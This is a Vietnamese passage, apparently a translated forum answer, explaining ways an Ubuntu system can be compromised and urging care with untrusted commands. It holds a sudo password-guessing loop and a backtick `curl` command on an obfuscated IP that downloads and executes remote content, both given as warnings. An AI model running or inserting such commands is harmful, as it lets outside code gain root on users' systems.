Không thể tự mình bẻ khóa mật khẩu, vì Ubuntu đã vô hiệu hóa người dùng root theo mặc định. Tuy nhiên, nếu người dùng của bạn có thể trở thành root thông qua sudo và mật khẩu của bạn rất dễ đoán / brute-force, thì bạn đã có một hệ thống không an toàn. Kịch bản ví dụ đang cố kiểm tra một số mật khẩu:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
Thêm một kho lưu trữ không tin cậy cho phép các chương trình từ kho lưu trữ đó được cài đặt. Ngay cả khi bạn không cài đặt rõ ràng một ứng dụng như thế sudo apt-get install [app-from-repo]
, kho lưu trữ vẫn có thể ảnh hưởng đến các chương trình khác bằng cách khiến Ubuntu tin rằng kho lưu trữ chứa phiên bản mới hơn của một chương trình nhất định.
Quá trình cập nhật được chạy dưới quyền root, nếu không các tệp không thể được ghi vào /usr/bin
hoặc /etc
. Một kích hoạt cài đặt cũng được chạy như root và có thể chạy tùy ý, và có thể, các lệnh có hại. Bây giờ, đừng lo lắng, cần có hành động thủ công để cập nhật chương trình và kho lưu trữ Ubuntu vẫn an toàn. Phần mềm nguồn đóng như Windows không bao giờ có thể được tin cậy hoàn toàn vì bạn không thể kiểm tra nguồn mã độc, nhưng bạn có thể xem lại nguồn ứng dụng Ubuntu nếu bạn cần (không áp dụng cho các chương trình độc quyền như sun-java6
hoặc Flash).
Như được đề cập bởi Javier Rivera, các lỗi kernel có thể dẫn đến việc thực thi mã tùy ý, nhưng phần mềm bị lỗi cũng có thể nguy hiểm, đặc biệt là các setsuid
tệp nhị phân lỗi (nhị phân sẽ chạy dưới quyền của chủ sở hữu tệp, root) và các chương trình lỗi khác chạy bằng root.
Bạn có thể tạo lỗ hổng bảo mật trên hệ thống của mình nếu bạn không chú ý đến những gì bạn đang làm. Ví dụ: không hiểu đầy đủ về khái niệm cronjobs, bạn đã thêm một cronjob để /etc/cron.daily
chạy một chương trình trong thư mục nhà của bạn (ví dụ: /bin/sh /home/your-username/myscript.sh
Nếu tệp myscript.sh có thể ghi được bởi bạn, bạn có thể xóa một khai thác độc hại mã trong myscript.sh
đó sẽ được chạy như root (leo thang đặc quyền).
Để giữ an toàn, sử dụng tâm trí của bạn! Không chạy các lệnh từ các nguồn không đáng tin cậy nếu bạn không biết nó làm gì. Nếu ai đó nói chạy `curl 3221233674`
với tích tắc, thì không. 3221233674 là một cách khác để viết 192.0.32.10
(IP của example.com). Vì vậy, nó sẽ bằng:
`curl http://example.com/`
Những dấu kiểm ngược đó làm cho đầu ra được thực thi như các lệnh shell. Nói một cách dễ hiểu, "Tải xuống trang http://example.com/ và thử thực hiện trang đã tải xuống".
Lúc đầu, bạn sẽ không thấy thứ gì độc hại trong lệnh đã cho. Nhưng bây giờ, bạn biết nó cũng có thể bị lạm dụng.
Luôn kiểm tra các lệnh / tập lệnh bạn nhận được từ các nguồn không đáng tin cậy, như Internet.